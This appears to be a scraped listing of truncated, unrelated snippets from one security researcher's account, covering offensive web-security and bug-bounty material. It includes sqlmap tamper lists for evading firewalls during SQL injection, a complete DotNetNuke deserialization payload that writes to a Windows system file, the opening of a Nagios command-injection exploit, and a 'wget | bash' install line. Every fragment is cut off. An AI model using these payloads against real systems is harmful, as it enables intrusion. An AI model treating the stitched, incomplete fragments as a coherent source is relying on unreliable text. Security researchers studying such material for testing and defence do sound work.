pikpikcu

# All scripts
```
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
```
# General scripts
```
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
```
# Microsoft access
```

pikpikcu

[
  {
    "program_name": "(ISC)²",
    "policy_url": "https://bugcrowd.com/isc2",
    "submission_url": "https://bugcrowd.com/isc2/report",
    "launch_date": "",
    "bug_bounty": false,
    "swag": false,
    "hall_of_fame": true,
    "safe_harbor": "partial"

pikpikcu

Description

This is a simple guide to perform javascript recon in the bugbounty

Steps

• The first step is to collect possibly several javascript files (more files = more paths,parameters -> more vulns)

pikpikcu

14 apple.com
40 vk.com
44 github.com
49 tumblr.com
55 dropbox.com
85 medium.com
87 paypal.com
92 icloud.com
100 booking.com
112 weebly.com

pikpikcu

#!/usr/bin/env python
intro = """\033[94m
Nagios Core < 4.2.0 Curl Command Injection PoC Exploit (CVE-2016-9565)
nagios_cmd_injection.py  ver. 1.0

Discovered & Coded by:

Dawid Golunski
https://legalhackers.com
\033[0m

pikpikcu

PACS Server vulns

info

• vendor page: https://pacsone.net/
• patched version: 7.1.1
• Credits: Xinjie Ma from Chaitin Research Lab

Timeline

• 2020.07.19 send report to a vendor's partner
• 2020.07.20 they inform the real vendor

pikpikcu

<profile><item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:/windows/win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

pikpikcu

				                     _       _ 
				  _______ _ __ ___  | | ___ | |
				 |_  / _ \ '__/ _ \ | |/ _ \| |
				  / /  __/ | | (_) || | (_) | |
				 /___\___|_|  \___(_)_|\___/|_|
				    	  https://zero.lol
				 	  zero days 4 days


				ATTENTION:

pikpikcu

id: SQLInjection_ERROR

info:
  name: SQLINJECTION Detection
  author: 0x240x23elu & OFJAAAH
  severity: High

requests:
  - method: GET

pikpikcu

#!/bin/bash

#
# Execute as wget -O - https://gist.github.com/LuD1161/66f30da6d8b6c1c05b9f6708525ea885/raw | bash 
# # Thanks JeffreyShran for the gist url thing
#
#
# It's debian based, so for centos and likewise you have to change apt to yum and similarly 
#
InstallationStartTime=$(date +%s)